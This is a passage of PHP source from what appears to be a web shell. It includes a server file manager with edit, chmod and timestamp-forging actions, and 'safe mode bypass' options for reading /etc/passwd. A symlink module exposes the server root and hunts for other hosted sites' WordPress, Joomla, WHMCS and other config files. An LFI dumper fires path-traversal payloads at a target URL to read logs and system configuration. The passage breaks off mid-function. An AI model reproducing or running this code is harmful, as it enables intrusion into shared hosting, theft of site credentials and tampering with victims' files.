'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
echo strlen($temp), "\n", $temp;
exit;
}
BOFFHeader();
echo 'String conversions
';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "
";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"
Search text in files:
";
function BOFFRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
BOFFRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "
".htmlspecialchars($item)."";
}
}
}
}
if(@$_POST['p3'])
BOFFRecursiveGlob($_POST['c']);
echo "
Search for hash:
";
BOFFFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
BOFFHeader();
echo 'File tools
';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
BOFFFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '
Name: '.htmlspecialchars(@basename($_POST['p1'])).'
Size: '.(is_file($_POST['p1'])?BOFFViewSize(filesize($_POST['p1'])):'-').'
Permission: '.BOFFPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';
echo '
';
switch($_POST['p2']) {
case 'view':
echo '
';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '
';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array(''), array(''),$code).'
';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!
';
}
clearstatcache();
echo '
';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!
';
@touch($_POST['p1'],$time,$time);
}
}
echo '
';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000
','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
$h[1] .= '
';
$h[2] .= "\n";
}
}
echo '
'.$h[0].' | '.$h[1].' | '.htmlspecialchars($h[2]).' |
';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!
';
else
die('');
}
echo '
';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '
';
break;
}
echo '
Safe mode bypass
';
echo '
Copy (read file)Glob (list dir)Curl (read file)Ini_restore (read file)Posix_getpwuid ("Read" /etc/passwd)';
if($temp)
echo '
'.htmlspecialchars($temp).'
';
echo '
Console
';
BOFFFooter();
}
function actionSymlink() {
BOFFHeader();
echo 'Symlink
';
$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$expld = explode('/',$furl );
$burl =str_replace(end($expld),'',$furl);
echo '
';
if(isset($_POST['p1']) && $_POST['p1']=='website')
{
echo "
";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){
echo "Cant access this file on server -> [ /etc/named.conf ]
";
} else {
echo "
| Count | domains | users |
";
$count=1;
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "| ".$count." | ".$domains[1][0]." | ".$user['name']." |
";
flush();
$count++;
}
}
}
echo "
";
}
echo "";
}
if(isset($_POST['p1']) && $_POST['p1']=='whole')
{
echo "
";
@mkdir('sym',0777);
$hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$hfp =@fopen ('sym/.htaccess','w');
fwrite($hfp ,$hdt);
if(function_exists('symlink')) {
@symlink('/','sym/root');
}
$d0mains = @file('/etc/named.conf');
if(!$d0mains) {
echo "# Cant access this file on server -> [ /etc/named.conf ]
";
} else {
echo "
| Count | Domains | User | Symlink |
";
$count=1;
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
$ddt = $user['name'] ;
@symlink('/','sym/root');
$ddt = $domain[1][0];
if(@eregi("\.ir",$domain[1][0]) or @eregi("\.il",$domain[1][0])) {
$ddt = "".$domain[1][0].'
';
}
echo "| ".$count++." | '.$ddt.' | '.$user['name']." | symlink |
";
flush();
}
}
}
}
echo "
";
}
if(isset($_POST['p1']) && $_POST['p1']=='config')
{
echo "
";
@mkdir('sym',0777);
$hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$hfp = @fopen ('sym/.htaccess','w');
@fwrite($hfp ,$hdt);
if(function_exists('symlink')) {
@symlink('/','sym/root');
}
$d0mains = @file('/etc/named.conf');
if(!$d0mains) {
echo "# Cant access this file on server -> [ /etc/named.conf ]
";
} else {
echo "
| Count | Domains | Script |
";
$count = 1;
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
$c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = ' ';
if(strpos($cf01,'200') == true) { $out = "Wordpress"; }
elseif(strpos($cf02,'200') == true) { $out = "Wordpress"; }
elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " WHMCS"; }
elseif(strpos($cf09,'200') == true) { $out = " WHMCS"; }
elseif(strpos($cf10,'200') == true) { $out = " WHMCS"; }
elseif(strpos($cf03,'200') == true) { $out = " Joomla"; }
elseif(strpos($cf04,'200') == true) { $out = " Joomla"; }
elseif(strpos($cf05,'200') == true) { $out = " vBulletin"; }
elseif(strpos($cf06,'200') == true) { $out = " vBulletin"; }
elseif(strpos($cf07,'200') == true) { $out = " vBulletin"; }
elseif(strpos($cf08,'200') == true) { $out = " Client Area"; }
elseif(strpos($cf12,'200') == true) { $out = " Client Area"; }
elseif(strpos($cf13,'200') == true) { $out = " osCommerce/Zen Cart"; }
elseif(strpos($cf14,'200') == true) { $out = " Magento"; }
elseif(strpos($cf15,'200') == true) { $out = " Drupal"; }
else {
continue;
}
echo '| '.$count++.' | '.$domain[1][0].' | '.$user['name'].' | '.$out.' |
';
flush();
}
}
}
echo "
";
}
echo "";
}
echo "
";
BOFFFooter();
}
function actionlfiscan() {
BOFFHeader();
print '
m4rkm3n LFI File dumper
';
error_reporting(0);
if($_POST['lfiurl']) {
print "";
$cheader = $_POST['custom_header'];
$target = $_POST['lfiurl'];
$type = $_POST['scantype'];
$byte1 = $_POST['null'];
$lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
$lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
$lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
$lfiaccess = array(
1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
$lfierror = array(
1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
$lficonfig = array(
1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
$lfiphpini = array(
1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
$lfimysql = array(
1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
$lfiftp = array(
1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
$x = 1;
if ( $type == 1 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";
while($lfiaccess[$x]) {
$res3 = FetchURL($target.$lfiaccess[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "[+] File detected! ".$target."".$lfiaccess[$x]."
";
}
else {
print "[!] Failed!".$target."".$lfiaccess[$x]."
";
}
$x++;
}
}
}
if ( $type == 2 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";
while($lficonfig[$x]) {
$res3 = FetchURL($target.$lficonfig[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "[+] File detected! ".$target."".$lficonfig[$x]."
";
}
else {
print "[!] Failed!".$target."".$lficonfig[$x]."
";
}
$x++;
}
}
}
if ( $type == 3 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";
while($lfierror[$x]) {
$res3 = FetchURL($target.$lfierror[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "[+] File detected! ".$target."".$lfierror[$x]."
";
}
else {
print "[!] Failed!".$target."".$lfierror[$x]."
";
}
$x++;
}
}
}
if ( $type == 4 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";
while($lfiphpini[$x]) {
$res3 = FetchURL($target.$lfiphpini[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "[+] File detected! ".$target."".$lfiphpini[$x]."
";
}
else {
print "[!] Failed!".$target."".$lfiphpini[$x]."
";
}
$x++;
}
}
}
if ( $type == 5 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";
while($lfimysql[$x]) {
$res3 = FetchURL($target.$lfimysql[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "[+] File detected! ".$target."".$lfimysql[$x]."
";
}
else {
print "[!] Failed!".$target."".$lfimysql[$x]."
";
}
$x++;
}
}
}
if ( $type == 6 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";
while($lfiftp[$x]) {
$res3 = FetchURL($target.$lfiftp[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "[+] File detected! ".$target."".$lfiftp[$x]."
";
}
else {
print "[!] Failed!".$target."".$lfiftp[$x]."
";
}
$x++;
}
}
}
if ( $type == 7 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "[+] Exploitable! ".$target."".$lfitest."
";{
$res3 = FetchURL($target.$lfiprocenv);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
